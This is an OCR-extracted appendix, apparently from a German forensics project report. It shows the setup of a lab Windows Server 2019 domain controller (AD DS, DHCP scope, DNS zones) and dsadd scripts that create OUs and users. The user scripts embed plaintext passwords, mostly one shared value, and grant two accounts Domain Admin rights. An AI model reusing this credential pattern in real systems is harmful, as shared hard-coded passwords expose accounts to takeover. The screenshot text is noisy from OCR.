[ ] validate settings upon exit Advanced. ..

Cancel

Abbildung 95: Konfiguration des Doméanen-Controllers 6/67

Nach dem Abschluss der Netzwerkkonfigurationen, erfolgt die Installation der
beiden Server Rollen Active Directory Domain Services und DHCP-Server
(siehe Abbildung 96 - Abbildung 105).
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Manage Tools View

Add Roles and Features

Remove Roles and Featurss

Add Servers

Create Server Group

Server Manager Properties

18:31

&

Abbildung 96: Konfiguration des Doméanen-Controllers 7/67

2 Add Roles and Features Wizard - O X

DESTIMATION SERVER

Select installation type o

Select the installation type. You can install roles and features on a running physical computer or virtual

Before You Begin : HEE -
= machine, or on an offline virtual hard disk (VHD).

Installation Type

(® Role-based or feature-based installation
Configure a single server by adding roles, role services, and features,

() Remote Desktop Services installation
Install required role services for Virtual Desktop Infrastructure (VDI) to create a virtual machine-based
or sessionh-based desktop deployment.

e [

Abbildung 97: Konfiguration des Doméanen-Controllers 8/67
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F'ﬁ Add Roles and Features Wizard

Before You Begin

Features

Select destination server

- O X

DESTINATION SERVER
pDC

Select a server or a virtual hard disk on which to install roles and features.

® Select a server from the server pool I

() Select a virtual hard disk

Server Pool

Filter: | |
Name IP Address Operating System

PDC 192.168.160.1 Microsoft Windows Server 2019 Standard Evaluation

1 Computer(s) found

This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and
newly-added servers from which data cellection is still incomplete are not shown,

Cancel

| < Previous |I Mext = I Install

Abbildung 98: Konfiguration des Doméanen-Controllers 9/67

Fﬁ Add Roles and Features Wizard

Select server roles

Before You Begin Select one or more roles to install on the selected server,

Installation Type

Server Selection R . = . e

Server Roles Active Dhrectory Domain Services

Features || Active Directory Federation Services
o [[] Active Directory Lightweight Diractory Services
[] Active Directory Rights Management Services

[ | Device Health Attestation
FABDHCP Server
| | LN erver

[] Fax Server

[m] Filz and Storage Services (1 of 12 installed)
[] Host Guardian Service

[ Hyper-v

[] Metwork Palicy and Access Services
[] Print and Document Services

[] Remote Access

[] Remote Desktop Services

[] Volume Activation Services

[ Web Server (IIS)

[] Windows Deployment Services

[] Windows Server Update Services

AD DS
DHCP Server

Confirmation

DESTINATION SERVER
PDC

Description

Dynamic Host Cenfiguration
Protocol (DHCP) Server enables you
to centrally configure, manage, and
provide temporary IP addresses and
related information for client
computers.

| < Previous. |I Mext »

I Install Cancel

Abbildung 99: Konfiguration des Domé&nen-Controllers 10/67
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Fﬁ Add Roles and Features Wizard

Select features

Before You Begin
Installation Type
Server selection
Server Roles

AD D5

DHCP Server

Confirmation

- O X

DESTIMATION SERVER
PO

Select one or more features to install on the selected server.

Features

(SN MET Framework 3.5 Feature

| [m] .NET Framework 4.7 Features (2 of 7 installed)
[ Background Intelligent Transfer Service (BITS)

[] BitLocker Drive Encrypticn

[ BitLocker Metwork Unlock

[] BranchCache

[] Client for NFS

[] Containers

[[] Data Center Bridging

[[] Direct Play

[] Enhanced Storage

[[] Failover Clustering

Group Policy Management

[[] Host Guardian Hyper-V Support
[] O Quality of Service

] 1S Hostable Web Core

[] Internet Printing Client

] Ip Address Management (IPAM) Server
[ iSNS Server service

Description

~ NET Framework 3.5 combines the
power of the .NET Framework 2.0
APls with new technologies for
building applicatiens that offer
appealing user interfaces, protect
your customers' personal identity
information, enable seamless and
secure communication, and provide
the ability to model a range of
business processes.

| < Previous |I Next > I Install

Cancel

Abbildung 100: Konfiguration des Doméanen-Controllers 11/67

Fﬁ Add Roles and Features Wizard

Before You Begin
Installation Typs
Server Selection
Server Roles
Features

DHCF Server

Confirmation

Active Directory Domain Services

— O X

DESTINATION SERVER
PO

Active Directory Domain Services (AD D5) stores information about users, computers, and other devices
on the network. AD DS helps administrators securely manage this information and facilitates resource

sharing and collaboration between users.

Things to note:

* To help ensure that users can still log on to the network in the case of a server outage, install a

minimum of two domain controllers for a domain.

* AD D5 requires a DNS server to be installed on the network, If you do not have a DNS server
installed, you will be prompted to install the DNS Server role on this machine.

Azure Active Directory, a separate online service, can provide simplified identity and
access management, security reporting, single sign-on to cloud and on-premises web

apps.

Learn more about Azure Active Directory

Configure Office 365 with Azure Active Directory Connect

| < Previous |I Mext > I Install

Cancel

Abbildung 101: Konfiguration des Doméanen-Controllers 12/67
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Fﬁ Add Roles and Features Wizard

DHCP Server

Before You Begin
Installation Type

Server Selection

Confirmation

— O X

DESTINATION SERVER
PDC

The Dynamic Host Configuration Protocol allows servers to assign, or lease, IP addresses to computers
and other devices that are enabled as DHCP clients. Deploying a DHCP server on the network provides
computers and other TCP/IP-based network devices with valid IP addresses and the additional
configuration parameters these devices need, called DHCP options. This allows computers and devices
to connect to other network resources, such as DMNS servers, WINS servers, and routers.

Things to note:

* You should configure at least one static IP address on this computer.

* Before you install DHCP Server, you should plan your subnets, scopes and exclusions. Store the plan
in a safe place for later reference.

| < Previous |I Mext = I Install Cancel

Abbildung 102: Konfiguration des Domanen-Controllers 13/67

= Add Roles and Features Wizard

Before You Begin
Installation Type

Server Selection

Confirmation

— O X

DESTINATION SERVER

Confirm installation selections o

To install the following roles, role services, or features on selected server, dlick Install.

I Restart the destination server automatically if requiredl

Optional features (such as administration tools) might be displayed on this page because they have
been selected automatically. If you do not want to install these optional features, click Previous to clear
their check boxes.

Active Directory Domain Services
DHCP Server
Group Policy Management
Remaote Server Administration Tools
Role Administration Tools
AD DS and AD LDS Tools
Active Directory madule for Windows PowerShell
AD D5 Tools
Active Directory Administrative Center

AD DS Snap-Ins and Command-Line Tools

Export configuration settings
Specify an alternate source path

< Previous Mext = I Install I| Cancel

Abbildung 103: Konfiguration des Domé&nen-Controllers 14/67
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[z Add Reles and Features Wizard - O X

|ﬂ5ta||atiOﬂ prog ress DESTINATION SERVER

POC

View installation progress

o Feature installation

Installation started on PDC

Active Directory Domain Services
DHCP Server
Group Policy Management
Remote Server Administration Tools
Role Administration Tools
AD DS and AD LDS Tools

Active Directory module for Windows PowerShell
AD DS Tools

Active Directory Administrative Center

AD DS Snap-Ins and Command-Line Tools
DHCP Server Toals

You can close this wizard without interrupting running tasks. View task progress or open this
page again by clicking Notifications in the command bar, and then Task Details.

Export configuration settings

< Previous Mext > Close Cancel

Abbildung 104: Konfiguration des Doméanen-Controllers 15/67

[ Add Reles and Features Wizard - O X

Installation progress ST

POC
View installation progress

o Feature installation

Configuratien required. Installation succeeded on PDC.

Active Directory Domain Services
Additional steps are required to make this machine a domain controller.
Promate this server to a domain controller
DHCP Server
Launch the DHCP post-install wizard
Complete DHCP configuration

Group Policy Management
Remote Server Administration Tools
Rele Administration Tools
AD DS and AD LDS Tools
Active Directery module for Windows PowerShell

You can close this wizard without interrupting running tasks. View task progress or open this
page again by clicking Netifications in the command bar, and then Task Details.

Export configuration settings

< Previous Mext > I Close I Cancel

Abbildung 105: Konfiguration des Doméanen-Controllers 16/67
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Nachdem die Rollen installiert wurden, folgt die Erstellung einer neuen Domane,
sowie die Konfiguration des DNS- und DHCP-Servers (siehe Abbildung 106 -
Abbildung 142).

Bei der Erstellung der Domane wurde der Name forensik.projekt.local

verwendet.

Des Weiteren wird muss bei der Erstellung einer neuen DNS-Zone die Forward
Lookup Zone erstellen werden, sodass der Name in eine IP-Adresse
umgewandelt werden kann, sowie die Reverse Lookup Zone, um die IP-

Adresse wieder in einen Namen zuriick zu Ubersetzen.
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Aanager * Dashboard - @) | FA Manage  Tools  View H
1. Post-deployment Configura... |
| WELCOME TO SERVER MANAGER
Configuration required for DHCP Server at PDC
o C or Complete DHCP configuration
I, Post-deployment Configuration
QUICK START
2 A Cenfiguration required for Active Directory Domain
Services at PDC
3 J":‘-I Promote this server to a domain controller Il
WHAT'S NEW 4 o Feature installation
5 ( Configuration required. Installation succeeded on
FDLC.
Add Roles and Features Hide
LEARN MORE
Task Details
ROLES AND SERVER GROUPS

Roles:3 | Servergroups:1 | Servers total: 1

18:46

A e 905000 BB

Abbildung 106: Konfiguration des Doméanen-Controllers 17/67

[z Active Directory Domain Services Configuration Wizard - O X
. . TARGET SERVER
Deployment Configuration o

Deployment Configuration

Select the deployment operation
Domain Controller Cptions . . o .
) Add a domain controller to an existing domain

Additional Options _) Add a new domain to an existing forest

Paths ) Add a new forest

Review Options . o . . .
Specify the domain information for this operation
Prerequisites Check

Root domain name: Ifarensik.prajekt.local I

Meore about deployment configurations

Install Cancel

Abbildung 107: Konfiguration des Doméanen-Controllers 18/67
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[ Active Directory Demain Services Configuration Wizard - O X
. . TARGET SERVER
Domain Controller Options bDC

Deployment Configuration

Select functional level of the new forest and root domain
Domain Controller Options

- . Forest functional level: Windows Server 2016
DM Options

additional Cotions Domain functional level: Windows Server 2016

aths Specify domain controller capabilities
Review Options Domain Name System (DMNS) server
Prareguisites Chack | Global Catalog (GC)

Read only domain controller (RODC)

Type the Directory Services Restore Mode (DSRM) password

JPassword: sssssess

Confirm password: LTI YT

More about domain controller options

| < Previous || Mext > I Install Cancel

Abbildung 108: Konfiguration des Domé&nen-Controllers 19/67

[z Active Directory Domain Services Configuration Wizard - O X

TARGET SERVER

DNS Options PDC

| i, A delegation for this DNS server cannot be created because the authoritative parent zone cannot be found... Show mare x

Deployment Configuration . ) .
Specify DNS delegation options

Domain Controller Cptions

Create DNS delegation

Additional Cptions
aths
Review Cptions

Frareguisites Check

More about DNS delegation

| < Previous |I Next = I Install Cancel

Abbildung 109: Konfiguration des Domé&nen-Controllers 20/67
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[& Active Directory Demain Services Configuration Wizard — O *

- . TARGET SERVER
Additional Options PDC

Deployment Configuration . . . o
Verify the NetBIOS name assigned to the domain and change it if necessary

Domain Controller Options
The NetBIOS domain name: FORENSIK

DNS Options

Maore about additional options

| < Previous |I Next = I Install Cancel

Abbildung 110: Konfiguration des Domé&nen-Controllers 21/67

[ Active Directory Domain Services Configuration Wizard - O X
P _th TARGET SERVER
atns PDC

Deployment Configuration . . )
) - Specify the location of the AD DS database, log files, and 5YSVOL
Domain Controller Cptions
- . Database folder: CAWindows\NTDS
DMS Options
Additional Cotions Log files folder: CAWindows\NTDS

FIEIE

Mare about Active Directory paths

| < Previous |I Mext = I Install Cancel

Abbildung 111: Konfiguration des Domé&nen-Controllers 22/67
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[z Active Directory Domain Services Configuration Wizard - O X

. . TARGET SERVER

Review Options o
Deployment Configuration | Review your selections:

Domain Controller Options Configure this server as the first Active Directory domain controller in a new forest.

DNS Options The new domain name is "forensik projekt.lacal”. This is also the name of the new forest.

Atz eSO The MetBIOS name of the domain: FORENSIK

aths

Forest Functional Level: Windows Server 2016

1]

Prereguisites Chack Domain Functional Level: Windows Server 2016
Additional Options:
Global catalog: Yes
DNS Server: Yes

Create DNS Delegation: No

These settings can be exported to a Windows PowerShell script to automate

additional installations

Mare about installation options

| < Previous |I Mext = I Install Cancel

Abbildung 112: Konfiguration des Domé&nen-Controllers 23/67

[z Active Directory Domain Services Configuration Wizard - O >
. - TARGET SERVER
Prerequisites Check ==
| Q All prerequisite checks passed successfully, Click ‘Install’ to begin installation. Show mare *
Deployment Configuration

Prerequisites need to be validated before Active Directory Domain Services is installed on this
Domain Controller Options computer

DNS Options Rerun prereguisites check

@ View results
]

Windows Server 2019 domain controllers have a default for the security setting named
"Allow cryptography algorithms compatible with Windows NT 4.0% that prevents weaker
cryptography algorithms when establishing security channel sessions.

Additional Cptions

For more information about this setting, see Knowledge Base article 942564 (http://
go.microsoft.com/fwlink/ZLinkld=104751),

I A delegation for this DNS server cannot be created because the authoritative parent
zone cannot be found or it does not run Windows DMS server. If you are integrating
with an existing DNS infrastructure, you should manually create a delegation to this
DNS server in the parent zone to ensure reliable name resolution from outside the
domain “forensik.projekt.local”. Otherwise, no action is required.

1, If you click Install, the server automatically reboots at the end of the promotion operation.

Maore about prerequisites

< Previous Mext > I Install I Cancel

Abbildung 113: Konfiguration des Domé&nen-Controllers 24/67
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You're about to be signed out

The computer is being restarted because Active Directory Domain Services was installed or
removed.

Close

Abbildung 114: Konfiguration des Domé&nen-Controllers 25/67

FORENSIKNAdministrator

Abbildung 115: Konfiguration des Doméanen-Controllers 26/67
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Aanager * Dashboard @1 I'A Manage  Tools  View

| Post-deployment Configura... |
| WELCOME TO SERVER MANAGER

| Configuration required for DHCP Server at PDC |

I Complete DHCP configuration I

Task Details
QUICK START
2 AQOTORS ang rearares
3 Add other servers to manage
WHAT'S NEW

4 Create a server group

Connect this server to cloud services

(g

Abbildung 116: Konfiguration des Domé&nen-Controllers 27/67

&= DHCP Post-Install configuration wizard
Description

The following steps will be performed to complete the configuration of the DHCP Server on the
— target computer:

Authorization
Create the following security groups for delegation of DHCP Server Administration.

- DHCP Administrators
- DHCP Users

Authorize DHCP server on target computer (if domain joined).

< Previous I Mext = I Commit

Abbildung 117: Konfiguration des Domé&nen-Controllers 28/67
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[ DHCP Post-Install configuration wizard - O >

Authorization

Specify the credentials to be used to authorize this DHCP server in AD DS,

(®) Use the following user's credentials

User Mame; | FORENSIK\Administrator

() Use alternate credentials

%]

UserMame: pecify..

() Skip AD autharization

< Previous Next > I Commit I Cancel

Abbildung 118: Konfiguration des Domé&nen-Controllers 29/67
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Active Directory Administrative Center

Active Directory Domains and Trusts
Active Directory Module for Windows PowerShell
Active Directory Sites and Services
Active Directory Users and Computers
ADSI Edit

Component Services

Computer Management
Defragment and Optimize Drives
Disk Cleanup

DN5

Event Viewer

Group Policy Management

ISCS Initiator

Local Security Policy

Microsoft Azure Services

ODBC Data Sources (32-bit)

QODEBC Data Sources (64-bit)
Performance Maonitor

Print Management

Recovery Drive

Registry Editor

Resource Monitor

Services

System Configuration

System Information

Task Scheduler

Windows Defender Firewall with Advanced Security

Windows Memory Diagnostic
Windows PowerShell
Windows PowerShell (x86)
Windows PowerShell ISE
Windows PowerShell ISE (x86)

Windows Server Backup

Abbildung 119: Konfiguration des Domé&nen-Controllers 30/67
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@ DHCP - | X
File Action View Help
=z E | HimE E
% DHep _ Actions
v _dc.forensik.projelct.local [ | Add a Scope 1Pd .
--
] Display Statistics... ) Mare Actions 4
of IP addresses assigned to
= ing a dynamic IP address. You
> k| . nfigure a scope before dynamic IP
2 1w MNew Multicast Scope... ssigned.
Configure Failover... =, on the Action menu, click New
Replicate Failover Scopes...
Define User Classes... on about setting up a DHCP
Define Vendor Classes... lelp.
Reconcile All Scopes...
Set Predefined Options...
Create a new i View i
Performan Refresh nance Performance Performance
BPA result: Properties iults BPA results BPA results
Help

Abbildung 120: Konfiguration des Domé&nen-Controllers 31/67

Mew Scope Wizard

Scope Name

a description.

how the scope is to be used on your netwoark.

You have to provide an identifying scope name. You also have the option of praviding

Type a name and description for this scope. This information helps you quickly identify

Mame: Projekt Rangs|

Description: |

< Back

Mext = Cancel

Abbildung 121: Konfiguration des Domé&nen-Controllers 32/67

134




Anlagenverzeichnis und Anlagen

Mew Scope Wizard

IP Address Range T
fou define the scope address range by identifying a set of consecutive IP addresses.

Configuration settings for DHCP Server
Enter the range of addresses that the scope distributes.

Start IP address: | 192 . 168 . 160 . 10

End IP address: | 192 . 168 . 160 . 20|

Corfiguration settings that propagate to DHCP Client

Length: | 24 _|:|

Subnet mask: 255,255 256 . O

< Back Mext = Cancel

Abbildung 122: Konfiguration des Domé&nen-Controllers 33/67

Mew Scope Wizard

Add Exclusions and Delay —
Exclusions are addresses or a range of addresses that are not distibuted by the
server. A delay is the time duration by which the server will delay the transmission of a

DHCPOFFER message.

Type the IP address range that you want to exclude. f you want to exclude a single
address, type an address in Start IP address only.

Start |P address: End IP address:
]

Excluded address range:

s

Subnet delay in milli second:

H

< Back Mext = Cancel
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Abbildung 123: Konfiguration des Doménen-Controllers 34/67

Mew Scope Wizard
Lease Duration ——
The lease duration specifies how lang a client can use an |P address from this scope.

Lease durations should typically be equal to the average time the computer is
connected to the same physical network. For mobile networks that consist mainly of
paortable computers or dialup clients, shorter lease durations can be useful.
Likewise, for a stable network that consists mainly of desktop computers at fixed
locations, longer lease durations are more appropriate.

Set the duration for scope leases when distibuted by this server.
Limited to:

Days: Hours: Minutes:

6 [ [o3

< Back Mext = Cancel

Abbildung 124: Konfiguration des Domanen-Controllers 35/67
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Mew Scope Wizard
Configure DHCP Options —
‘fou have to configure the most common DHCF options before clients can use the
scope.

When clients obtain an address, they are given DHCP options such as the P
addresses of routers (default gateways). DMNS servers, and WINS settings for that
sCope.

The settings you select here are for this scope and overide settings configured in the
Server Options falder faor this server.

Do you want to configure the DHCP aptions for this scope now?

" Mo, | will corfigure these options later

< Back Mext = Cancel
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Mew Scope Wizard

Router (Default Gateway) gt
You can specify the routers, or default gateways, to be distibuted by this scope.

To add an IP address for a router used by clients, enter the address below.

|P address:
192 168 . 160 . 1|

ualt

< Back Mext = Cancel
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Abbildung 126: Konfiguration des Doménen-Controllers 37/67

Mew Scope Wizard

Router (Default Gateway)
You can specify the routers, or default gateways, to be distributed by this scope.

To add an IP address for a router used by clients, enter the address below.
IP address:
N

152.168.160.1

L

< Back MNext = Cancel
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Mew Scope Wizard

Domain Name and DNS Servers e
The Domain Mame System (DMN5) maps and translates domain names used by clients

on your network.

You can specify the parent domain you want the client computers on your network to use for
DMNS name resolution.

orensik projekt local

To configure scope clients to use DMS servers on your netwark, enter the |P addresses for those
SETVErs.

Server name: |P address:

152.168.160.1

il

< Back Mext = Cancel

Abbildung 128: Konfiguration des Domé&nen-Controllers 39/67

Mew Scope Wizard

WINS Servers

Computers unning Windows can use WINS servers to convert MetBIOS computer ﬁu
names to [P addresses.

Entering server |IP addresses here enables Windows clients to query WINS before they use
broadcasts to reqgister and resolve NetBIOS names.

Server name: IP address:

B
[ fesabe |

s

To change this behavior for Windows DHCP clients modify option 046, WINS/NBT Node
Type, in Scope Options.

< Back Mext = Cancel
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Abbildung 129: Konfiguration des Doménen-Controllers 40/67

Mew Scope Wizard

Activate Scope gt
Clients can obtain address leases only f a scope is activated.

Do you want to activate this scope now?

{* Yes, | want to activate this scope now!

" Mo, | will activate this scope later

< Back Meaxt = Cancel

Abbildung 130: Konfiguration des Domanen-Controllers 41/67
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Mew Scope Wizard

Wizard

Completing the New Scope

You have successfully completed the New Scope wizard.

To provide high availability for this scope. configure failover for
the newly added scope by right clicking an the scope and
clicking an corfigure failover.

To close this wizard, click Finish.

< Back Cancel
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| Scope [192.168.160.1
.3 Server Options

2| Policies

¥ Filters

3 IPv6

[ Policies
[ Filters

G DHCP - m] X

File Action View Help

o= 55 E G| HE

? [EHCP Contents of DHCP Ssr\rer Status Actions

h \3' p_dcl';°T”Sik'pmje"t"“a' [ Scope [192.168.160.0] Prajekt Range  active™ || || 1pva -
- f'jser\rerOptions More Actions »

Abbildung 132: Konfiguration des Domé&nen-Controllers 43/67
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DINS

Event Viewer

Group Policy Management
i5CSl Initiator

Local Security Policy
Microsoft Azure Services
ODBC Data Sources (32-bit)
ODBC Data Sources (64-bit)
Performance Monitor

Print Management

Recovery Drive

Registry Editor

Resource Monitor

Services

Systern Configuration

System Information

Task Scheduler

Windows Defender Firewall with Advanced Security
Windows Memory Diagnostic
Windows PowerShell
Windows PowerShell (x86)
Windows PowerShell ISE
Windows Powershell ISE (x86)

Windows Server Backup

214

A T s sg0500 2
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£ DNS Manager - O >

File Action View Help

e« nmHEF §EE

% DMS

v i PDC Add a New Zone

Forward Lookup Zones k4
| Reverse Lookup Zones . . -
S ey The Domain Mame System (DNS) allows a DNS namespace to be divided into zones, Each zone

stores information about one or more contiguous DNS domains.

| Conditional Forwarders
To add a new zone, on the Action menu, click New Zone.

Abbildung 134: Konfiguration des Domanen-Controllers 45/67

Mew Zone Wizard >

Welcome to the New Zone

Wizard
e
. This wizard helps you create a new zone for your DNS
SEMVEr,
=
f/'f’) A zone translates DMS names to related data, such as IP

addresses or network services,

To continue, dick Mext,

Abbildung 135: Konfiguration des Domé&nen-Controllers 46/67
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Mew Zone Wizard X

Zone Type
The DMS server supports various types of zones and storage.

b

Select the type of zone you want to create:

(®) Primary zone
Creates a copy of a zone that can be updated directly on this server.

() Secondary zone

Creates a copy of a zone that exists on another server. This option helps balance
the processing load of primary servers and provides fault tolerance.

() 5tub zone

Creates a copy of a zone containing only Mame Server (MS), Start of Authority
(504), and possibly glue Host (A) records. A server containing a stub zone is not
authoritative for that zone.

Store the zone in Active Directory (available only if DMS server is a writeable domain
controller)

Abbildung 136: Konfiguration des Domanen-Controllers 47/67

Mew Zone Wizard >

Active Directory Zone Replication Scope
You can select how you want DMNS data replicated throughout your network,

>

Select how you want zone data replicated:

() To all DNS servers running on domain contrallers in this forest: forensik.projekt.local

() To all domain contrallers in this domain (for Windows 2000 compatibility):
forensik. projekt.local

To all domain controllers specified in the scope of this directory partition:

Abbildung 137: Konfiguration des Domé&nen-Controllers 48/67
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Mew Zone Wizard >

Reverse Lookup Zone Name
A reverse lookup zone translates IP addresses into DMNS names.,

>

Choose whether you want to create a reverse lookup zone for IPv4 addresses or IPvE
addresses.

(@) [Pv4 Reverse Lookup Zone

() IPv6 Reverse Lookup Zone

Abbildung 138: Konfiguration des Domanen-Controllers 49/67

Mew Zone Wizard >

Reverse Lookup Zone Hame
A reverse lookup zone translates IP addresses into DS names,

To identify the reverse lookup zone, type the network ID or the name of the zone,

(@) Metwork ID:
|152 168 .160] .

e network ID is the portion of the IP addresses that belongs to this zone. Enter the
network ID in its narmal (not reversed) order.

If you use a zero in the network ID, it will appear in the zone name. For example,
network ID 10 would create zone 10.in-addr.arpa, and network ID 10.0 would create
zone 0, 10.in-addr.arpa.

(_)Reverse lookup zone name:
160, 168, 192.in-addr.arpa

Abbildung 139: Konfiguration des Domé&nen-Controllers 50/67
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Mew Zone Wizard >

Dynamic Update

You can specfy that this DNS zone accepts secure, nonsecure, or no dynamic
updates, b

Dynamic updates enable DNS dient computers to register and dynamically update their
resource records with a DNS server whenever changes ocour,

Select the type of dynamic updates you want to allow:

(@) Allow only secure dynamic updates (recommended for Active Directory)

This option is available only for Active Directory-ntegrated zones.

() allow both nonsecure and secure dynamic updates
Dynamic updates of resource records are accepted from any dient.

This option is a significant security vulnerability because updates can be
£ accepted from untrusted sources.,

() Do not allow dynamic updates

Dynamic updates of resource records are not accepted by this zone. You must update
these records manually.

Abbildung 140: Konfiguration des Domanen-Controllers 51/67

Mew Zone Wizard X

Completing the New Zone Wizard

You have successfully completed the Mew Zone Wizard, You
specified the following settings:

.
v

Mame:  160.168.192.in-addr.arpa
Type: Active Directory-Integrated Primary

Lookup type: Reverse

Mote: You should now add records to the zone or ensure
that records are updated dynamically, You can then verify
name resolution using nslookup.,

To close this wizard and create the new zane, dick Finish.

Abbildung 141: Konfiguration des Domé&nen-Controllers 52/67
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2 DNS Manager - O *
File Action View Help

e nE o= BHE § 8

£, DNs Name Type Status DNSSEC Status
v B PDC ﬂ160.168.192.in-addr.arpa Active Directory-Integrated Pr..  Running Mot Signed I

Forward Lookup Zones
| Rewverse Lookup Zones
| Trust Points

| Conditional Forwarders
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Nachdem die Konfiguration abgeschlossen ist, folgt die Erzeugung der
Organisationseinheiten mit den dazugehoérigen Benutzern tber die PowerShell
(siehe Listing 1 - 2). Eine Organisationseinheit dient zur besseren Ubersicht von

einzelnen Benutzern innerhalb eines Active Directories.
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dsadd ou "ou=Human Resources, dc=forensik, dc=projekt, dc=local"
dsadd ou "ou=Sales und Vertrieb, dc=forensik, dc=projekt, dc=local"

dsadd ou "ou=Assistenzen der Geschaftsfihrung, dc=forensik, dc=projekt,

dc=local"

dsadd ou "ou=Geschaftsfuihrung, dc=forensik, dc=projekt, dc=local"
dsadd ou "ou=Lohnbuchhaltung, dc=forensik, dc=projekt, dc=local"
dsadd ou "ou=Auszubildende, dc=forensik, dc=projekt, dc=local"
dsadd ou "ou=Projektleiter, dc=forensik, dc=projekt, dc=local"

dsadd ou "ou=Praktikanten, dc=forensik, dc=projekt, dc=local"

dsadd ou "ou=IT-Admins, dc=forensik, dc=projekt, dc=local"

Listing 1: Anlegung der Organization Units (OUs)
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dsadd user "CN=Anna Schmidt,OU=Human
Resources,dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688" -
upn anna.schmidt@forensik.projekt.local -samid anna.schmidt -fn Anna -In
Schmidt

dsadd user "CN=Julia Weber,OU=Human!
Resources,dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688" -

upn julia.weber@forensik.projekt.local -samid julia.weber -fn Julia -In Weber

dsadd user "CN=Peter Muller,OU=Sales und
Vertrieb,dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688' -upn
peter.mueller@forensik.projekt.local -samid peter.mueller -fn Peter -In Muller

dsadd user "CN=Lisa Becker,OU=Assistenzen der
Geschaftsfuhrung,dc=forensik,dc=projekt,dc=local" -disabled no -pwd
'Igw090688' -upn lisa.becker@forensik.projekt.local -samid lisa.becker -fn Lisa
-In Becker

dsadd user "CN=Hans Schmidt,OU=Geschaftsflihrung,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd 'lqw090688' -upn

hans.schmidt@forensik.projekt.local -samid hans.schmidt -fn Hans -In Schmidt

dsadd user "CN=Max Mustermann,OU=IT-Admins,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688" -upn
max.mustermann@forensik.projekt.local -samid max.mustermann -fn Max -In

Mustermann

dsadd user "CN=Christian Meier,OU=IT-Admins,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd '"1CombatMedic223!" -upn
christian.meier@forensik.projekt.local -samid christian.meier -fn Christian -In

Meier

dsadd user "CN=Maria Meyer,OU=Lohnbuchhaltung,

dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688" -upn

maria.meyer@forensik.projekt.local -samid maria.meyer -fn Maria -In Meyer
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dsadd user "CN=Michael Fischer,OU=Lohnbuchhaltung,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd 'lqw090688' -upn
michael.fischer@forensik.projekt.local -samid michael.fischer -fn Michael -In

Fischer

dsadd user "CN=Thomas Schneider,OU=Auszubildende,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688' -upn
thomas.schneider@forensik.projekt.local -samid thomas.schneider -fn Thomas

-In Schneider

dsadd user "CN=Katharina Wagner,OU=Auszubildende,
dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688' -upn
katharina.wagner@forensik.projekt.local -samid katharina.wagner -fn Katharina

-In Wagner

dsadd user "CN=Sarah Konig,OU=Projektleiter,

dc=forensik,dc=projekt,dc=local" -disabled no -pwd ''qw090688' -upn

sarah.koenig@forensik.projekt.local -samid sarah.koenig -fn Sarah -In Koenig

dsadd user "CN=Robert Klein,OU=Praktikanten,
dc=forensik,dc=projekt,dc=local” -disabled no -pwd "™*7Vamos!" -upn
robert.klein@forensik.projekt.local -samid robert.klein -fn Robert -In Klein

dsmod group "CN=Domain
Admins,CN=Users,DC=forensik,DC=projekt,DC=local* -addmbr "CN=Max
Mustermann,OU=IT-Admins,DC=forensik,DC=projekt,DC=local"

dsmod group "CN=Domain
Admins,CN=Users,DC=forensik,DC=projekt,DC=local" -addmbr "CN=Christian
Meier,OU=IT-Admins,DC=forensik,DC=projekt,DC=local"

Listing 2: Anlegung und Zuordnung der Benutzer
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Q Administrator: Windows PowerShell ISE — O *
File Edit View Tools Debug Add-ons Help

=N = RPN C Bl 8 oo mox.

Untitled1.ps1* X | &

dsadd ou "ou=Human Resources, dc=forensik, dc=projekt, dc=local”

dsadd ou "ou=5ales und Vertrieb, dc=forensik, dc=projekt, dec=local”

dsadd ou “ou=Assistenzen der Geschaftsfuhrung, de=forensik, dc—projekt dc=local™
dsadd ou 'ou—Geschaft=fuhrung, dc=Forensik, dc=projekt, dc—1oca1

dsadd ou "ou=Lohnbuchhaltung, dc=forensik, dc=projekt, dc=local”

dsadd ou "ou=Auszubildende, dc=forensik, dc=projekt, dc=local”

dsadd ou "ou=Projektleiter, dc=forensik, dc=projekt, dc=Tlocal”

dsadd ou “ou=Praktikanten, dc=forensik, dc=projekt, dec=local”

dsadd ou "ou=IT-Admins, dc=forensik, dc=projekt, dc=local™

Do o L R

11 dsadd user "Ch Anna Schmidt,0U=Human Resources,dc=forensik,dc=projekt,dc=local"” -disabled no -pwd '!qw090688' -upn anna.s
1z dsadd user "CN=Julia Weber,OU=Human Resources, dc—fclens1k dc—pro]ekt dec=Tlocal" -disabled no -pwd "anQOGSS -upn julia.w
13 dsadd uvser "CN=Peter Wu11er OU=5ales und Vertrieb,dc= Fcrens1k dec=projekt,dc=Tocal” -disabled no -pwd '!qw090688" -upn pet
14 dsadd user "CN=Lisa Becker,OU:Ass1stenzan der Geschaftsfuhrung,dc=forensik,dc=projekt,dc=70ca1" -disabled no -pwd "!gwD20
15 dsadd user "CN=Hans Schmidt,0U=Geschaftsfuhrung, dc=forensik,dc=projekt,dc=local” -disabled no -pwd '!'gw090683" -upn hans
16 dsadd user "CN=Max Mustermann,0U=IT-Admins, dc=forensik,dc=projekt,dc=local” -disabled no -pwd '!gw090685" -upn max.muste
7 dsadd user "CN=Christian Meier ,0U=IT-Admins, dc=Forensik,dc=projekt,dc=local” -disabled no -pwd '!lCombatMedic223!" -upn
18 dsadd user "CN=Maria Meyer,0U=Lohnbuchhaltung, dc=forensik,dc=projekt,dc=local"” -disabled no -pwd '!qw090688"' -upn maria
19 dsadd user "CN=Michael Fischer,0U=Lohnbuchhaltung, dc=forensik,dc=projekt,dc=Tlocal" -disabled no -pwd '!qw090688" -upn mi
20 dsadd user "CN=Thomas Schneider,0U=Auszubildende, dc=forensik,dc=projekt,dc=local” -disabled no -pwd '!qw090688" -upn tho
21 dsadd user "CN=Katharina Wagner,0U=Auszubildende, dc=forensik,dc=projekt,dc=local” -disabled no -pwd '!qw090688" -upn kat
22 dsadd user "CN=Sarah Konig,O0U=Projektleiter, dc=forensik,dc=projekt,dc=Tocal"” -disabled no -pwd '!gw020688" -upn sarah.ko
